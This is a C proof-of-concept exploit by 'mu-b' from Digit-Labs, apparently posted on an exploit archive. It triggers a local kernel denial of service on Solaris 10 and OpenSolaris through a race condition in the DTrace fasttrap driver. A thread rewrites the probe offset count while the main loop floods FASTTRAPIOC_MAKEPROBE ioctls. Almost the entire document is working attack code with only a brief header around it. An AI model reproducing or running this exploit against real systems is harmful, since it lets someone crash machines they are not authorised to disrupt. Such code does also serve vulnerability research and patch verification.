Solaris 10 - OpenSolaris (fasttrap) Local Kernel Denial of Service PoC

2009-05-04 16:32:00

/* solaris-fasttrap-dos.c
*
* Copyright (c) 2008 by <[email protected]>
*
* Solaris >= 10/Opensolaris local kernel DoS POC
* by mu-b - Wed 19 Nov 2008
*
* - Tested on: Sun Solaris 10 (SPARC)
* Sun OpenSolaris <= snv_113 (x86)
*
* - Private Source Code -DO NOT DISTRIBUTE -
* http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
*/

#include <stdio.h>
#include <stdlib.h>

#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <sys/fasttrap.h>
#include <unistd.h>

#define DTRACE_FASTTRAP "/devices/pseudo/fasttrap@0:fasttrap"

void *
hammer (void *addr)
{
fasttrap_probe_spec_t *probe;
probe = addr;

while (1)
{
probe->ftps_noffs = 1024 * 128;
usleep (10);
}

return (NULL);
}

int
main (int argc, char **argv)
{
fasttrap_probe_spec_t probe;
int i, fd, n, tid;

printf ("Solaris >= 10/Opensolaris local kernel DoS PoC\n"
"by: <[email protected]>\n"
"http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

fd = open (DTRACE_FASTTRAP, O_RDONLY);
if (fd < 0)
{
fprintf (stderr, "failed opening %s\n", DTRACE_FASTTRAP);
return (EXIT_FAILURE);
}

memset (&probe, 0, sizeof probe);
memset (&probe.ftps_func, 0x41, DTRACE_FUNCNAMELEN-1);
memset (&probe.ftps_mod, 0x41, DTRACE_MODNAMELEN-1);

probe.ftps_type = DTFTP_OFFSETS;
probe.ftps_pid = getpid ();

n = pthread_create (&tid, NULL, hammer, &probe);
if (n < 0)
{
fprintf (stderr, "failed creating hammer thread\n");
return (EXIT_FAILURE);
}

for (i = 0; ; i++)
{
probe.ftps_noffs = 1;
n = ioctl (fd, FASTTRAPIOC_MAKEPROBE, &probe);

if (!(i % 64))
printf ("tried: %d-times\r", i);
}

return (EXIT_SUCCESS);
}

//

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